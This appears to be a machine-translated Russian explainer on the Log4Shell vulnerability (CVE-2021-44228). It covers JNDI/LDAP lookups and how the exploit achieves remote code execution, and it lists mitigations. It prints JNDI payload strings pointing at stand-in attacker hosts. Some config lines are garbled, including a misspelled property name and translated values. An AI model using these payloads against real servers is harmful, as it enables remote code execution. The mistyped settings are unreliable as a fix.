Что такое уязвимость Apache Log4j?
9 декабря 2021 года мир узнал о единственной, самой крупной и критической уязвимости CVE-2021-44228, затрагивающей утилиту ведения журналов на базе Java log4j. Об этой уязвимости сообщил apache Чэнь Чжаоцзюнь из группы безопасности облачных вычислений Alibaba 24 ноября 2021 года и опубликовал в твите 9 декабря 2021 года.
Фонд программного обеспечения Apache присвоил максимальную оценку серьезности 10/10. Уязвимость позволяет злоумышленникам удаленно выполнять код, а строка полезной нагрузки выглядит как «${jndi:ldap://attacker.com/a}». Множество сервисов, затронутых организацией, включают Cloudfare, Apple iCloud, Minecraft: java edition, stream, Tencent QQ и Twitter.
Что такое log4j и поиск?
Apache log4j — это утилита ведения журнала на основе Java. Роль Apache log4j заключается в том, чтобы регистрировать информацию, чтобы помочь приложениям работать бесперебойно, определять, что происходит, и отлаживать процессы при возникновении ошибок. log4j может регистрировать попытки входа в систему (имя пользователя, пароль), форму отправки и заголовки HTTP (пользовательский агент, x-forwarded-host и т. д.) в файл журнала или базу данных.
Apache log4j 2.0 представляет
- Новая система плагинов
- Поддержка свойств
- Поддержка базовой конфигурации JSON
- Автоматическая перезагрузка его конфигурации
Поиски позволяют добавлять значения в конфигурацию log4j в произвольных местах.
Синтаксис:
${prefix:name}Виды поиска следующие:
- контекст может искать
- поиск даты
- поиск среды
- jndi lookups (основная причина уязвимости)
- поиск в Java
- ${java:версия}
- ${java:среда выполнения}
- ${java:ОС}
Теперь давайте кратко разберемся с LDAP и JNDI, прежде чем мы изучим эксплойт log4j.
Что такое LDAP?

Упрощенный протокол доступа к каталогам (LDAP) — это открытый стандартный прикладной протокол для доступа и обслуживания распределенных информационных служб каталогов по сети интернет-протокола. Проще говоря, метафора информационного дерева называется Информационным деревом каталогов (DIT). Предположим, пользователь регистрируется в приложении, используя имя пользователя и пароль. Здесь сервер LDAP хранит информацию о пользователе в его учетной записи. всякий раз, когда пользователь пытается войти в приложение, сервер LDAP проверяет личность пользователя с помощью авторизации. если имя пользователя и пароль верны, он возвращает учетную запись пользователя.
Что такое JNDI?

JNDI предоставляет API для взаимодействия приложений с удаленными объектами, зарегистрированными в реестре RMI или службе каталогов, например LDAP. Таким образом, java-приложение не может напрямую запрашивать сервер LDAP, потому что нам нужен jndi, который дает нам возможность взаимодействовать с LDAP.
Query: ${jndi:ldap://[server-ip-address]}Он специфичен для интерфейса поставщика услуг (SPI), который позволяет встраивать реализации службы каталогов в структуру.
Как вы можете использовать уязвимость log4j?
Log4j позволяет регистрируемым сообщениям содержать строки формата, которые ссылаются на внешнюю информацию через интерфейс именования и каталогов Java (JNDI). Это позволяет удаленно извлекать информацию по различным протоколам, включая протокол облегченного доступа к каталогам (LDAP).

предполагается, что одна из служб уязвима из-за уязвимости log4j. В представлении на уровне пользователя, когда пользователь делает что-то вроде попыток входа в систему, log4j регистрирует пользовательские данные, такие как имя пользователя, http-заголовки (пользовательский агент: Mozilla/5.0 (Windows NT 10.0; Win64; x64)). В случае злоумышленника он вставляет ссылки запроса JNDI, указывающие на злонамеренный LDAP-сервер, которым они управляют, готовый обслуживать вредоносные классы java при любых действиях, которые они выберут. когда log4j увидел следующий запрос в сообщении журнала:
${jndi:ldap://attacker_ldap_server.com/payload}
Он указывает JNDI запрашивать у сервера attacker_ldap_server.com объект «paylod». JNDI будет выполнять классы Java, на которые ссылается сервер LDAP. Если ответ сервера LDAP ссылается на URL-адрес http://attacker_ldap_server.com/payload, JNDI автоматически запросит файл «payload» с веб-сервера и выполнит ответ. И даа БУМ….! Теперь вы можете получить RCE (удаленное выполнение кода) в приложении.
Смягчение
1. Log4j 1.x смягчение последствий
- Log4j 1.x не подвержен этой уязвимости.
2. Устранение последствий Log4j 2.x
- Выполните обновление до Log4j 2.3.2 (для Java 6), 2.12.4 (для Java 7) или 2.17.1 (для Java 8 и более поздних версий).
3. Log4j >= v2.10
- Log4j2.formatMsgNoLookuos=истина
- LOG4J_FORMAT_MSG_NO_LOOKUPS=истина
4. Log4j < v2.10
- Удалить класс поиска jndi из пути к классам
5. Блокировать эксплойты
- Правила WAF
- Выходные фильтры